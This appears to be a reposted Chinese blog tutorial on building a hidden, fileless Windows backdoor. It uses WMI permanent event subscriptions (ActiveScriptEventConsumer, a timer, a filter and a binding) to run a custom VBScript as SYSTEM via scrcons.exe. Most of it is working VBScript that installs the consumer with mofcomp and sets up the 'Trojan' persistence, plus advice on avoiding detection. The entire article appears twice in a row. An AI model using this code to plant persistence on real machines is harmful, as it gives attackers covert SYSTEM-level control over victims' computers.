利用WMI打造完美三無後門(scrcons.exe)
阿新 • • 發佈:2019-01-30
Welcome!各位ScriptKid,歡迎來到指令碼世界。
今天忙了一天,比較累。不廢話那麼多了,切入正題。
這個“三無”後門的核心就是WMI中的永久事件消費者ActiveScriptEventConsumer(以下簡稱ASEC)。WMI中有許多這 類的事件消費者,簡單的來說,當與其繫結的事件到達時,消費者就會被觸發執行預先定義好的功能。例如可以用來執行二進位制程式的 CommandLineEventConsumer等等
ASEC是WMI中的一個標準永久事件消費者。它的作用是當與其繫結的一個事件到達時,可以執行一段預先設定好的JS/VBS指令碼。
先來看一下其原型:
複製程式碼 程式碼如下:
class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消費者的CreatorSID 只讀
uint32 KillTimeout = 0; //指令碼允許被執行的時間 預設為0,指令碼不會被終止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定義的事件消費者的名字。
string ScriptingEngine; //用於解釋指令碼的指令碼引擎。VBScript或者JScript
string ScriptFileName; //如果你想從一個檔案裡面讀取想執行的指令碼的話,寫上這裡吧。
string ScriptText; //用於執行的指令碼程式碼。與ScriptFileName不共戴天。有你沒我,有我沒你
};
ASEC的安裝
對於XP以後的系統來說,ASEC已經預設安裝到了root\subscription名稱空間。我們可以直接呼叫。2000自帶有ASEC的 mof檔案,但是沒有預設安裝,需要我們自己安裝。另外由於大部分的事件都是在root\cimv2裡產生,所以如果你想直接捕獲一些系統事件作為觸發器 的話,還得在其他的名稱空間中安裝ASEC。來看一下在2000/XP/Vista下安裝ASEC到root\cimv2的程式碼。
複製程式碼 程式碼如下:
Function InstallASECForWin2K ’安裝ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替換預設的名稱空間
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安裝ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接執行安裝即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安裝ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要刪除autorecover,否則安裝出錯
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function
再來看一個繫結事件和ASEC的例項。
複製程式碼 程式碼如下:
Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名稱空間
TrojanName="ScriptKids" //自定義的消費者名字,也就是你的後門的名字
TrojanRunTimer=30000 //自定義的指令碼執行間隔
strtxt="" //自定義的指令碼內容。為了隱蔽我們就不用scriptfilename了。會被Windows編碼後寫入CIM儲存庫
’配置事件消費者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配置計時器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配置事件過濾器’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’繫結消費者和過濾器’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function
以上程式碼的含義就是當我們自定義的一個計時器事件發生時,會被我們所配置的事件過濾器捕獲到,並觸發與過濾器繫結的消費者,也就是我們自定義了指令碼的ASEC。達到我們每隔30秒執行一次我們自定義的指令碼的目的。很簡單吧:)
最後要說的是,我們自定義的指令碼執行時,是由系統自帶的scrcons.exe作為指令碼宿主進行解析,而scrcons.exe是由系統以 SYSTEM許可權啟動的,也就是說,我們的指令碼是以SYSTEM許可權執行,並且其所建立的任意程序都會繼承SYSTEM許可權。美中不足的就是,每當指令碼執 行時,會平白多出一個scrcons.exe的系統程序。這也是這個指令碼後門目前最容易被發現的一個弱點。不過,當這個指令碼24小時才執行一次時,有多少 人會注意到呢?
今天忙了一天,比較累。不廢話那麼多了,切入正題。
這個“三無”後門的核心就是WMI中的永久事件消費者ActiveScriptEventConsumer(以下簡稱ASEC)。WMI中有許多這 類的事件消費者,簡單的來說,當與其繫結的事件到達時,消費者就會被觸發執行預先定義好的功能。例如可以用來執行二進位制程式的 CommandLineEventConsumer等等
ASEC是WMI中的一個標準永久事件消費者。它的作用是當與其繫結的一個事件到達時,可以執行一段預先設定好的JS/VBS指令碼。
先來看一下其原型:
複製程式碼 程式碼如下:
class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消費者的CreatorSID 只讀
uint32 KillTimeout = 0; //指令碼允許被執行的時間 預設為0,指令碼不會被終止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定義的事件消費者的名字。
string ScriptingEngine; //用於解釋指令碼的指令碼引擎。VBScript或者JScript
string ScriptFileName; //如果你想從一個檔案裡面讀取想執行的指令碼的話,寫上這裡吧。
string ScriptText; //用於執行的指令碼程式碼。與ScriptFileName不共戴天。有你沒我,有我沒你
};
ASEC的安裝
對於XP以後的系統來說,ASEC已經預設安裝到了root\subscription名稱空間。我們可以直接呼叫。2000自帶有ASEC的 mof檔案,但是沒有預設安裝,需要我們自己安裝。另外由於大部分的事件都是在root\cimv2裡產生,所以如果你想直接捕獲一些系統事件作為觸發器 的話,還得在其他的名稱空間中安裝ASEC。來看一下在2000/XP/Vista下安裝ASEC到root\cimv2的程式碼。
複製程式碼 程式碼如下:
Function InstallASECForWin2K ’安裝ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替換預設的名稱空間
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安裝ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接執行安裝即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安裝ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要刪除autorecover,否則安裝出錯
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function
再來看一個繫結事件和ASEC的例項。
複製程式碼 程式碼如下:
Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名稱空間
TrojanName="ScriptKids" //自定義的消費者名字,也就是你的後門的名字
TrojanRunTimer=30000 //自定義的指令碼執行間隔
strtxt="" //自定義的指令碼內容。為了隱蔽我們就不用scriptfilename了。會被Windows編碼後寫入CIM儲存庫
’配置事件消費者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配置計時器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配置事件過濾器’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’繫結消費者和過濾器’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function
以上程式碼的含義就是當我們自定義的一個計時器事件發生時,會被我們所配置的事件過濾器捕獲到,並觸發與過濾器繫結的消費者,也就是我們自定義了指令碼的ASEC。達到我們每隔30秒執行一次我們自定義的指令碼的目的。很簡單吧:)
最後要說的是,我們自定義的指令碼執行時,是由系統自帶的scrcons.exe作為指令碼宿主進行解析,而scrcons.exe是由系統以 SYSTEM許可權啟動的,也就是說,我們的指令碼是以SYSTEM許可權執行,並且其所建立的任意程序都會繼承SYSTEM許可權。美中不足的就是,每當指令碼執 行時,會平白多出一個scrcons.exe的系統程序。這也是這個指令碼後門目前最容易被發現的一個弱點。不過,當這個指令碼24小時才執行一次時,有多少 人會注意到呢?